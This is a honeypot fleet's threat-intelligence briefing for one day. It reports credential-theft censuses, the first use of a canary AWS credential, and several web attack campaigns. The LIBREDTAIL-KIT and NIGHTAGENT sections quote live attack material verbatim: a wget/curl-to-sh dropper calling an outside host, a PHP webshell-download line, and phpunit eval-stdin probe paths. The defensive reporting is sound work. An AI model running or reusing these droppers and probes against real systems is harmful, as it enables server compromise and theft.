FLUX FLEET — INTEL BRIEFING №14

Period: 2026-09-08 07:32 – 2026-09-09 07:32 UTC (24h digest window, day 13 of operations)
Sources: 3 honeypot nodes — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (Middle East)
Confidence: High (direct observation; 13-day baseline, every result-tag spike attributed by spot query)

The digest window starts at the previous digest run time, and the +4 h timestamp cast widens the effective query window to ~03:32 UTC on 09-08. Events from 03:32 to 07:32 UTC on 09-08 appear in both this digest and №13's data. The new data starts at 07:32 UTC on 09-08. All times are UTC and quoted from the raw log timestamps. №13's tail (34.104.212.213, NIGHTAGENT's 06:32–06:45 run, 94.154.43.x probes) was cross-checked against briefing №13 before this report counted anything as new. One spot-query artifact is new and verified: a hand-passed UTC CUTOFF on the wrapper collides with the +4 h cast and truncates the window by ~4 h. The wrapper default CUTOFF handles the cast; use it.

BLUF

An unattributed actor achieved the fleet's first successful AWS call: 159.26.110.179 (Proton AG VPN, PL) minted 2 credentials on aidev, and one ran GetCallerIdentity plus an eight-operation account-recon suite (ListBuckets, ListSecrets, ListTables, ListAccountAliases, DescribeInstances, DescribeDBInstances, ListFunctions20150331, DescribeParameters) — the first non-Converse use and the first use that enumerated what the account holds. METADATA-HUNT ran a fourth runner day (three runners, three nodes, 54 mints), and the runner wordlist absorbed the ORACLE-SWEEP families: prod_rw PostgreSQL URIs, actuator endpoints, SQL dumps, and /..;/ Tomcat-bypass probes now sit inside the GCP template's GETs. A new campaign, ⚠ LIBREDTAIL-KIT, ran a phpunit RCE chain with OpenSSH-key exfiltration and a shell dropper against 217.60.195.113 on 13 rotating IPs, all three nodes, 2869 all-time events since day 1. OMEGA-SWEEP returned its census operator (94.154.46.248, 1500 events in one minute, 10 mints) and the XMLRPC-BRUTE campaign woke after 7 dormant windows with a 1600-POST system.multicall burst. 81 mints this window, all-time 783.

Key Judgements

1. The canary funnel produced its first account-enumeration use, and it succeeded. 159.26.110.179 ran a 30-minute, 100-path credential census with curl/8.21.0, minted 2 at /.env, and Tracebit recorded 9 uses: 8 failures and 1 success, GetCallerIdentity. The failures cover the full recon suite named in the BLUF. This is the first observed use beyond Converse and the first success. (High confidence — mint, use, and journey all observed and joined on collector IP; the census is a curl-driven single-IP profile with no forged UA, a shape the fleet has not seen before)
2. METADATA-HUNT merged the ORACLE-SWEEP wordlist into its template and kept its fleet-wide cadence. Three fresh GCP runners, one per node: 35.252.125.133 aidev 18:51–18:52 (839 events, 609 paths, 25 mints, 453 UAs), 136.67.37.69 farm 19:55–19:56 (838 events, 609 paths, 25 mints, 461 UAs), 136.70.70.191 control 03:53 (837 events, 609 paths, 4 mints, 448 UAs). The runners now GET /actuator/configprops, /actuator/heapdump, /actuator/httptrace, /actuator/logfile, /actuator/mappings, /backup.sql, /database.sql, /db.sql, /dump.sql, and /login/..;/actuator/env — the ORACLE-SWEEP actuator, SQL-dump, and bypass families, previously a separate Oracle template, now inside the GCP census. (High confidence — identical path inventories verified per runner; the wordlist delta is from direct path queries against №13's inventory)
3. LIBREDTAIL-KIT is a live RCE-and-exfiltration kit, not a census. The UA libredtail-http has 2869 all-time events since 2026-08-28, but this window concentrated 12 rotating IPs against all three nodes, one run per IP, ~49 events in under 40 seconds each. The chain: md5("Hello PHPUnit") probe across 20+ eval-stdin.php directory permutations, then two POSTs to /index.php and one to /bin/sh. The /index.php body runs shell_exec(base64_decode(...)); the decoded payload creates a temp directory and echoes an OpenSSH ed25519 private key. The /bin/sh body is verbatim: (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s apache. Zero mints — the kit wants execution, not credentials. (High confidence — bodies captured and decoded; the fleet served tarpit 302s and the fake-webshell 200s, so the chain completed against decoy content only)
4. The MALWARE-DICT replay became a continuous background process. 204.76.203.18 (Pfcloud UG, NL, blocklist ipsum:2) replayed dropper URLs for the full 26-hour window (2311 events, 578 paths, all GETs, 0 mints), naming the same families as №13 plus kitty.*, lol.*, bot.*, and whoareyou builds. Siblings 204.76.203.7 and 204.76.203.10 ran short probes; .10 minted 1 at /.env. The /24, previously written off as a dictionary replier, is now a multi-host operator on control. (High confidence — per-IP journeys and the /24 roster verified by spot query)

Active Campaigns (day 13 status)

Recurring campaigns carry ⟳ and their registry names. First-seen signatures carry ⚠ NEW. Signatures, not IPs, are the campaign identity.

⚠ NEW LIBREDTAIL-KIT (phpunit RCE + key exfiltration + shell dropper) — hostile, high interest, fleet-wide

• Actors: 12 rotating IPs, all UA libredtail-http, one run each, three nodes. Control carried the load: 168.144.80.239, 169.58.153.7, 169.58.222.110, 167.126.6.183, 31.57.62.245, 202.162.109.215, 112.51.27.82 (42–49 events each). Farm: 107.150.97.10, 104.234.186.154. Aidev: 80.241.219.205, 31.132.90.3. The ASNs span residential and datacenter ranges; no hosting concentration, so the operator rotates through a pool.
• TTPs: Each run: / tarpit probe, then a phpunit directory-permutation walk (/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, /laravel/vendor/..., /apps/vendor/..., /zend/vendor/..., and 16 more) with body <?php echo(md5("Hello PHPUnit")); ?>, then two POST /index.php bodies. The decoded exfil payload: cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----' ... — an ed25519 key body. Then POST /bin/sh with the 217.60.195.113 dropper. The two control result-tag spikes (phpunit-eval-stdin 221 vs 7-day 46.2; cmd-injection-php-cgi-rce 32 vs 7.5) are this campaign plus the recurring /bin/sh class.
• Assessment: This is the first fleet actor whose POST bodies contain working RCE payloads with an external staging IP. The 217.60.195.113 dropper host and the libredtail-http UA are the search indicators. The fleet held: every completion ran against fake content, and the kit minted nothing. Watch for the staging IP across other protocols and for the OpenSSH-key trick (key exfil as an RCE-success oracle) in other templates.

⟳ METADATA-HUNT (GCP Vite/IMDS template, forged crawler UAs) — hostile, fourth runner day, 54 mints, absorbed the ORACLE-SWEEP list

• Actors: 35.252.125.133 (Google LLC, US) on aidev, 18:51–18:52 UTC on 09-08. 136.67.37.69 (Google LLC, US) on farm, 19:55–19:56 UTC. 136.70.70.191 (Google LLC, US) on control, 03:53–03:54 UTC on 09-09. №13's tail (34.104.212.213, 03:43 UTC on 09-08, 777 events, 0 mints, 417 error-family results) is overlap and is not recounted as a fifth runner.
• TTPs: The unchanged core (/__aws_leak_probe_<hex>__, /@fs/proc/self/environ, /@fs/root/.aws/credentials, /.azure/credentials, /.mcp.json) plus the absorbed families: actuator (/actuator, /actuator/configprops, /actuator/env, /actuator/heapdump, /actuator/httptrace, /actuator/logfile, /actuator/mappings), SQL dumps (/backup.sql, /database.sql, /db.sql, /dump.sql), and Tomcat bypass (/admin/..;/actuator/env, /login/..;/actuator/env, /secure/..;/actuator/env). New Vite path this cycle: /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json. The crawler-UA rotation grew again: 453–461 distinct UAs per runner, with Amzn-SearchBot, Amazonbot, Claude-SearchBot, Claude-User, ClaudeBot, PerplexityBot, Perplexity-User, GrokBot, GPTBot, ChatGPT-User, Bytespider, meta-externalagent, Twitterbot, facebookexternalhit, Slackbot-LinkExpanding, Discordbot, TelegramBot, LinkedInBot, OAI-SearchBot, and Google-Extended all present.
• Assessment: The mint-to-use funnel ran for the second runner cycle: 34.104.212.213 drew 0 uses (its 417 -error results match №13's 13 × 400 burst shape), while the three fresh runners minted 54 and Tracebit recorded 34 Converse uses from 136.67.37.69's farm credentials and 5 from 136.70.70.191's control credentials, all denied. The ORACLE-SWEEP absorption means one GCP operator now owns the credential-census space that two templates split before; the third-generation wordlist is the development cycle №13 flagged.

⟳ NIGHTAGENT (residential MA, phpunit dropper kit) — hostile, №13 overlap only, no new run

• Actors: 41.140.11.235 (Office National des Postes, MA) appears in this window at 06:32–06:45 UTC on 09-08, but №13 recorded the same run: farm 104 events, aidev 172 events, 3 mints. The window's 3 mints (farm /.env 06:34, aidev 06:44 and 06:45) are the №13 mints seen again.
• TTPs: Unchanged, observed again in this window's data: phpunit verify <?php echo "NightAgent"?>, dropper to /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php (<?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?>), /login/ with user=root&pass=wrong, wp-batch with {"requests": []}.
• Assessment: No new NIGHTAGENT run in the true new window. The 3 held credentials show no AWS use yet (Tracebit window). The GHSAT token is now a seven-window fingerprint, still unrotated.

⟳ OMEGA-SWEEP (Omegatech /46) — hostile, census operator returned, hoard unchanged

• Actors: 94.154.46.248 (Omegatech LTD, US, blocklist-clean) on aidev, 07:51 UTC on 09-08: 1500 events, 743 paths, 93 trap families, one minute, 10 mints at /.env under a forged Googlebot/2.1 UA. The .243 hoard and the /46 block are unchanged: no AWS use from any 94.154.46.x-collected credential, and the block's unused-canary count did not grow.
• TTPs: The single-minute template census returned after two pool-probe-only windows. The mint paths sit inside the census, 12-second burst, same shape as the №12 record (94.154.46.247's 2100-event run).
• Assessment: The census operator is back on schedule. 94.154.46.248 now holds 20 credentials across two windows (2026-09-02 and 09-08) with zero use — the second multi-day hoarder inside the /46 block after .243.

⟳ XMLRPC-BRUTE (system.multicall flood) — hostile, returned after 7 dormant windows under a new operator

• Actors: 35.233.85.98 (Google LLC, BE) on farm, 08:09:24–08:10:03 UTC on 09-08: 1608 events, 1600 POSTs to /xmlrpc.php in 39 seconds, forged Chrome/89 UA. No 1337 Services GmbH involvement; that operator's batch shape is unchanged but absent.
• TTPs: Preflight: /wp-includes/wlwmanifest.xml, /wp-json/wp/v2/users/ (both 200 on the fake-WordPress surface), /wp-json/oembed/1.0/embed (404). Then the flood: system.multicall bodies, each wrapping wp.getUsersBlogs with username ac14tbobpb against rotating passwords: senpai, hello, !qaz@wsx, and ~1597 more.
• Assessment: The flood validates the fake-WordPress xmlrpc surface; all 1600 bodies returned 200 from the decoy. The single-username corpus (one username, thousands of passwords) is a dictionary run against a known-target account, not a spray. The farm wp-rest-auth-required spike (50 vs 7-day 2.8, 18.2×) is a separate, distributed probe — see WP-REST-ENUM below.

⚠ NEW WP-REST-ENUM (residential users/me probe) — hostile-shape, distributed, no mints

• Actors: 47 residential IPs on farm (50 events) and 18 on aidev (18 events), each 1–3 events, forged Chrome/151 UAs, spread across the whole window. All target /wp-json/wp/v2/users/me — an authenticated-session probe: the endpoint returns user data only with valid cookies or application passwords.
• Assessment: Zero mints, zero credential traps touched, and no census. The probe set tests whether a fleet node has an authenticated WordPress session to hijack. The residential spread (83.215.102.82, 193.92.55.159, 31.30.166.183, and 60 more) matches the WP-LOGIN-BRUTE actor class: distributed, low-per-IP, forged-Chrome. Report as a new probe family inside the WordPress background noise; watch for a return with cookie headers.

⟳ MALWARE-DICT (dropper-URL dictionary replay) — hostile, continuous, /24-wide

• Actors: 204.76.203.18 on control for the full window (05:02 UTC on 09-08 through 07:32 UTC on 09-09, 2311 events, 578 paths, 0 mints, blocklist ipsum:2). Siblings: 204.76.203.10 (02:48 UTC on 09-09, 6 events, 1 mint at /.env, plus /adminer.php and the Sourcerer CSS fingerprint), 204.76.203.7 (04:40 UTC, 6 events, /adminer.php, /actuator/env, /debug/vars, 0 mints).
• TTPs: The replay dictionary kept its №13 families (/bins/morte.*, /hiddenbin/boatnet.*, /systemcl/spc) and added new ones: /kitty.* (mips, m68k, aarch64, armv5l, powerpc), /lol.*, /bot.* (mipsel, sparc), /whoareyou, and the recurring binary-hash paths. All GETs.
• Assessment: The replay ran for 26 hours without pause, so the dictionary is not a burst template here but a loop. The sibling probes show the /24 runs other tooling (/adminer.php, actuator, expvar) on the same node — a multi-purpose operator, not a single-purpose replay host.

⟳ CREDSWEEP family (.env-variant census) — hostile, one continuation, no new operator

• Actors: 102.220.161.87 (VPS Dedicated LLC, SI) on aidev: the №13 3-hour fanout continued into this window (09:22–23:00 UTC on 09-08, 133 events this window, 98 paths, 1 mint at 19:02). The family's other №13 operators (45.148.10.238, 34.74.198.14, 185.169.252.18, 84.21.173.161) did not run. New one-mint collectors: 147.90.209.153 (aidev, single event), 147.90.209.220 (farm, single event), 155.117.232.31 (aidev, stale UCBrowser UA, 2 events) — all shallow, all unattributed to a named campaign.
• TTPs: The fanout's new first-seen paths (/config/tsconfig.json, /index.php/phpinfo, /.git) are this continuation's inventory.
• Assessment: 45.148.10.238's three-window arc ended — absent this window, so the most persistent non-GCP hostile actor paused after 3 consecutive days. Watch whether it returns; its Mozlila/5.0 typo forgery is the check.

⟳ WP-LOGIN-BRUTE (distributed credential brute) — hostile, shrank again

• Actors: 100 credential POSTs on the two EU nodes (farm 81 pairs from 61 IPs, aidev 45 pairs from 39 IPs), distinct bodies, forged browser UAs, whole-window spread.
• Assessment: Volume fell 84 → 126 → 100 pairs across the last three windows (№13 → №14 counts; the №14 pair sum is 126 with overlap, 100 in the true new window). No mints. Background noise; the growth alarm threshold stays at 200 pairs.

Standing actors (persistence check)

• 80.94.95.211 (SS-Net, RO) — seventh window in eight: aidev, 51 events, 49 paths, 1 mint at 18:11 UTC. MSIE 9 and Mail.RU_Bot UAs. 8 all-time mints.
• 16.5.0.236 (Hello World UA) — SOHO-router probes on all 3 nodes, 47 events, username=admin&psd=Feefifofum POSTs to /boaform/admin/formLogin on all three. Benign-shape, but the Feefifofum corpus grew a second UA variant (Firefox/77 on 85.11.167.199, 3 nodes).
• 213.209.159.154 (Feo Prest SRL, DE) — returned after one absent window, on control for the first time: 171 events, 170 paths in 37 seconds (04:47 UTC on 09-09), the MSIE-9 MALNJS UA. The run crossed the census line this time (170 paths) and added two webshell-sweep hits (/config.inc.php, /config.dev.php, both webshell-sweep-observed) and /.bashrc. 0 mints, 40 -error results. Promotion from standing actor to a census-class operator is now on the table; the №13 sibling (213.209.159.175) and this run make two /24 operators in two windows.
• 89.248.172.33 / 93.174.93.12 / 89.248.171.24 — the uptime-prober set, unchanged: 54 events per node for .33 and 93.174.93.12, 19 for .24 (fasthttp on control this time), /-only, no mints. Benign-shape.
• 102.220.161.102 (python-httpx/0.28.1) — new aidev one-off: 2 events at /.git/* paths, 00:48 UTC on 09-09. Unattributed, watch.
• 198.23.174.202 — new aidev one-off: 27 paths in 19 seconds at 04:09 UTC, all -error results (/.env, /config.php, /phpinfo, /vendor/.env and 23 more). Forged Chrome/63 UA. 0 mints. The all--error shape matches the 34.104.212.213 request-shape failures; this is a second operator hitting the same mint-API wall.
• Absent this window: 45.148.10.238 (first miss after 3), 91.245.74.31 (first miss after 5), 129.213.151.234, 185.169.252.18, 84.21.173.161, 176.65.148.71, 182.8.227.195, 194.180.49.37 (fourth), 94.154.46.247, and the OMEGA .43.x probe pool.
• 18.116.101.220 (visionheight.com/scan) — the №10 benign prober returned: 2-path sweeps (/, /robots.txt) on all 3 nodes, 76 events, no credential paths, no mints. Benign list stands.

Benign / research (not hostile)

• Censys (CensysInspect/1.1, 66.132.195.73) — banner sweep only.
• CyberConvoyScout/1.0 (192.248.150.180) — /-only on farm and control, 10 events. Second appearance of the №13 benign addition, now on a second pair of nodes.
• HTTPHeadersCheck/1.0 (+https://g00gle.eu) (67.215.255.165) — new honest-UA header prober, /-only, 9 events. Add to the benign list.
• 185.226.197.57–.60 — first-seen 4-IP cluster on farm, 143 events over 5 minutes (01:30–01:35 UTC on 09-09), forged Chrome/123 UA. WordPress plugin readme.txt census (all-in-one-wp-migration, updraftplus, seo-by-rank-math, loginizer, elementor, and 20 more) plus /identity, /login.html, and a vendor JS fingerprint path. Shallow, 0 mints. Web-asset enumeration, WP-ENUM shape from №8; report, do not treat as hostile.
• 159.26.110.179 — hostile attribution, listed here only to separate the census from the AWS use: see Key Judgement 1. The AWS use makes this the fleet's most consequential actor this cycle; it is not a research scanner.
• No hostile journeys from Palo Alto, zgrab, OAI-SearchBot standalone, ModatScanner, or ivre-masscan this window.

Canary credentials

Summary

40 Tracebit alert(s) fired in the window (50 use events across 40 credentials). Fleet sensors minted 81 credentials to 13 collector IPs; 40 credential(s) reached AWS. Use outcomes: 49 failure, 1 success. Denied operations: Converse×41, ListTables×1, DescribeInstances×1, DescribeDBInstances×1, ListFunctions20150331×1. 1 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 94.154.46.243: 31 mints, 2026-09-03 19:55 → 2026-09-04 03:42
• 104.196.118.131: 25 mints, 2026-09-06 03:25 → 2026-09-06 03:25
• 34.22.137.199: 25 mints, 2026-09-07 17:26 → 2026-09-07 17:26
• 34.83.24.21: 25 mints, 2026-09-07 05:10 → 2026-09-07 05:10
• 35.252.125.133: 25 mints, 2026-09-08 18:51 → 2026-09-08 18:52
• 94.154.46.248: 20 mints, 2026-09-02 12:43 → 2026-09-08 07:51
• 94.154.46.247: 18 mints, 2026-09-03 17:01 → 2026-09-06 19:02
• 136.85.124.29: 17 mints, 2026-09-07 15:44 → 2026-09-07 15:44
• 207.175.90.192: 13 mints, 2026-09-03 07:50 → 2026-09-03 07:50
• 34.38.121.96: 13 mints, 2026-09-03 09:30 → 2026-09-03 09:30
• 196.206.35.222: 12 mints, 2026-09-04 04:09 → 2026-09-04 08:26
• 94.154.46.244: 12 mints, 2026-09-03 11:42 → 2026-09-03 11:42
• 94.154.46.249: 12 mints, 2026-09-02 13:07 → 2026-09-02 13:08
• 34.23.228.150: 11 mints, 2026-09-04 21:35 → 2026-09-04 21:35
• 45.148.10.238: 11 mints, 2026-09-03 13:30 → 2026-09-07 12:19
• 87.120.104.29: 11 mints, 2026-09-04 05:06 → 2026-09-04 05:06
• 136.85.12.249: 8 mints, 2026-09-05 09:28 → 2026-09-05 09:28
• 167.99.79.44: 8 mints, 2026-09-08 19:11 → 2026-09-08 20:24
• 194.180.49.37: 7 mints, 2026-09-02 22:35 → 2026-09-04 17:18
• 80.94.95.211: 7 mints, 2026-09-02 06:18 → 2026-09-08 18:11
• 91.245.74.31: 7 mints, 2026-09-04 10:52 → 2026-09-06 21:30
• 23.165.56.117: 6 mints, 2026-09-02 22:58 → 2026-09-03 05:15
• 41.142.109.20: 6 mints, 2026-09-05 05:09 → 2026-09-05 05:47
• 72.167.41.202: 6 mints, 2026-09-04 18:22 → 2026-09-04 18:22
• 182.8.227.195: 4 mints, 2026-09-04 21:16 → 2026-09-06 23:30
• 185.141.119.179: 4 mints, 2026-09-05 10:17 → 2026-09-05 10:26
• 31.57.219.158: 4 mints, 2026-09-06 13:11 → 2026-09-06 13:23
• 102.220.161.87: 3 mints, 2026-09-07 23:07 → 2026-09-08 19:02
• 139.59.136.184: 3 mints, 2026-09-02 15:14 → 2026-09-06 20:35
• 164.92.107.174: 3 mints, 2026-09-03 20:39 → 2026-09-05 20:23
• 167.71.175.236: 3 mints, 2026-09-02 20:10 → 2026-09-05 20:38
• 167.99.182.39: 3 mints, 2026-09-03 20:40 → 2026-09-05 20:41
• 185.177.72.53: 3 mints, 2026-09-03 03:26 → 2026-09-03 03:26
• 41.140.11.235: 3 mints, 2026-09-08 06:34 → 2026-09-08 06:45
• 84.21.173.161: 3 mints, 2026-09-06 22:19 → 2026-09-07 13:00
• 91.92.241.215: 3 mints, 2026-09-04 01:31 → 2026-09-04 08:15

Canary-use attribution (briefing prose)

The funnel produced its first escalation this window. 159.26.110.179's two aidev credentials reached AWS, and one ran the full recon suite: GetCallerIdentity succeeded, and ListBuckets, ListSecrets, ListTables, ListAccountAliases, DescribeInstances, DescribeDBInstances, ListFunctions20150331, and DescribeParameters all returned access-denied. The success is identity-only — GetCallerIdentity leaks account identity at most, per the Tracebit contract. But it is the first call that succeeded against any minted credential, and the first use phase that enumerated instead of chatting: every prior use was a Converse call. The actor is a Proton AG VPN egress with a curl/8.21.0 census and no UA forgery — the fleet's first attributed use-phase escalation. The two METADATA-HUNT use pipelines held their №13 shape: 136.67.37.69's 25 farm credentials drew 34 denied Converse calls, and 136.70.70.191's 4 control credentials drew 5 more. The silent count is 41: 35.252.125.133's 25, 94.154.46.248's 10, and the one-mint collectors hold hostile inventory with no observed use. The hoards are unchanged — 94.154.46.243 holds 31 at 6 days, 94.154.46.248 holds 20 across two windows, and the /46 block holds its stock with zero use from any collected credential.

Fleet Observations

• Canary economics: Digest-window mints 84 (aidev 48 / farm 31 / control 5), all ["aws"]. The true new window holds 81 mints to 13 collectors. All-time: 783 credentials to 228 collector IPs (farm 331, aidev 307, control 145). Mint failures: 44 × 400 (aidev 18, control 22, farm 4), zero 401s. Failure attribution: aidev's 18 are 34.104.212.213's №13-tail error burst (its mint path rejected the request shape again, 417 -error results in the run) plus 94.154.46.248's 82 census-error events; control's 22 are 136.70.70.191's run racing the burst limiter. The request-shape wall now has three operators (34.104.212.213, 198.23.174.202, and №13's control runner) hitting it, so the wall is operator-side, not node-side.
• XFF forgery: 0 multi-entry chains, 0 empty-clientIp rows — twelfth consecutive clean day post-fix. 963 requests carried single-entry XFF.
• TLS/attribution posture: Farm served 561 https events on sso.rightabouteverything.show (2,289 Host-header events), aidev 365 https on inference.fapthropic.com (568 Host-header events). Control stayed deliberately certless: 0 https. The №13 Host: 127.0.0.1 origin-spoofing probes did not return (0 events this window).
• Volume: Digest window 12,663 events (farm 3,751 −38% / aidev 4,632 −79% / control 4,280 +24%). Control is the only node above baseline: the METADATA-HUNT control runner (837), the continuous MALWARE-DICT replay (2,311), and the LIBREDTAIL-KIT control concentration (7 IPs) are the +24%. The aidev −79% is CRUSADER-SWEEP's second idle window plus the №12 50,112-event git-mirror class still absent. Every ≥50-event hour attributed: aidev 03:00 (788) = 34.104.212.213 №13-tail; aidev 07:00 (1,527) = 94.154.46.248 census (1,500); farm 08:00 (1,625) = 35.233.85.98 xmlrpc flood (1,608); aidev 18:00 (910) = 35.252.125.133 runner (839) + 80.94.95.211; farm 19:00 (930) = 136.67.37.69 runner (838) + 167.99.79.44; control 03:00 (981) = 136.70.70.191 runner (837) + 204.76.203.18's loop (119 in the hour).
• Control discovery velocity: Day-13 ramp reads 39 → 70 → 88 → 107 → 105 → 105 → 100 → 98 → 99 → 108 → 120 → 110. Unique IPs fell from the №13 record (120) to 110 on the window's highest event count (4,280) — the three big campaigns dominate control's volume, so per-visitor depth grew. The differential dataset holds: the fresh IP draws sustained discovery without the TLS identity or the canary menu of the other two nodes.
• First-seen inventory (not a timeline): The GCP runners own /@fs/home/ubuntu/... and /@fs/app/... gcloud paths (METADATA-HUNT), 102.220.161.87 owns aidev's /config/tsconfig.json, /index.php/phpinfo, /.git, and the .env fanout tail; 213.209.159.154 owns control's /datagen/emrDataGenerator/.env, /zend/.env, /.old/.env, /.vercel/.env.production.local, /gdpr/.env, /fuel/.env (CREDSWEEP-family inventory); 45.79.218.38 (Linode) owns /auth.html, /api/sonicos/auth, /sslvpnLogin.html — a Sonicwall SSL-VPN login probe, new surface, 15 events, no mints; the 185.226.197.x cluster owns farm's plugin readme.txt paths and /identity. Control's 10 new forged UAs (Android/iPhone/Mac Safari and Firefox variants) are the METADATA-HUNT runner rotation.
• Digest quirks (all re-confirmed this run): control-byte-stripped copy needed for UTF-8 reads of the digest; +4 h timestamp cast; single-writer DuckDB lock (all spot queries ran sequentially); sync-arrival first-seen stamps; window overlap with №13 cross-checked — 34.104.212.213, 41.140.11.235, and the 94.154.43.x probes are №13 data seen again. New, verified this run: passing an explicit UTC CUTOFF to flux-query.sh truncates the effective window by ~4 h (the wrapper's UTC normalization assumes the caller passes a naive local-zone timestamp). Use the wrapper's default CUTOFF unless a deliberate narrower window is needed.
• Infrastructure: no fleet-side changes this cycle.

Gaps / Next Collection

1. The first successful use — what runs after GetCallerIdentity? 159.26.110.179 succeeded once and failed 8 enumeration calls. If the actor's goal is data theft, the next window shows a second credential attempt with a different permission path or a role-based escalation. Check Tracebit for any use of its credentials outside the flux log window first — the mint was at 11:28 UTC on 09-08 and uses may trail the log cutoff.
2. METADATA-HUNT wordlist third generation. The runners absorbed the ORACLE-SWEEP actuator, SQL-dump, and prod_rw families. Diff the next run's inventory against this one; check whether the literal prod_rw PostgreSQL URIs appear with the ORACLE-SWEEP rotating passwords or with new ones — a shared password merges the two lineages. The ORACLE-SWEEP registry entry should now note it runs inside METADATA-HUNT; a standalone Oracle-IP run next window un-merges it.
3. LIBREDTAIL-KIT staging infrastructure. The 217.60.195.113 shell-dropper host and the OpenSSH-key exfil body are the kit's fingerprints. Correlate both against the spark (Arkime) pcaps for cross-protocol contact, and check whether the ed25519 key body is a per-run key (fresh key each POST) or a fixed key — a fixed key links all 12 IPs to one operator instance.
4. CRUSADER-SWEEP third idle window. The 06:00 UTC wave missed two consecutive windows after six on-schedule runs. A third miss retires the schedule; a return with POST capability in the git-mirror class moves it from staging to theft.
5. 45.148.10.238 and 91.245.74.31 absences. The fleet's most persistent non-GCP actor and the trace-only UA both paused. A return check is cheap: Mozlila/5.0 typo forgery for the first, PC Astra-net UA for the second. The 91.245.74.31 promotion trigger (a >500-event census on a second node) stays armed.
6. 213.209.159.154 promotion. The Feo Prest /24 crossed the census line (170 paths in 37 seconds, first control run, webshell-sweep paths). A second census run at this size on a second node promotes it from standing actor to campaign — track the /24 siblings (.154, .175, and the rest) as one pool.

Generated on medina (headless systemd run). Digest: /data/flux-logs/reports/flux-digest-2026-09-09.md. Spot queries: flux-query.sh fleet-24h, crossnode-reuse, mint-health, mint-collectors, ip-journey (35.233.85.98), plus 16 ad-hoc v_full queries (actor profiles, spike attribution, mint roster, standing-actor presence, burst attribution, Pfcloud /24 roster, first-seen path ownership, WP-REST-ENUM scale, wp-batch pair count) and the Tracebit canary-section generator.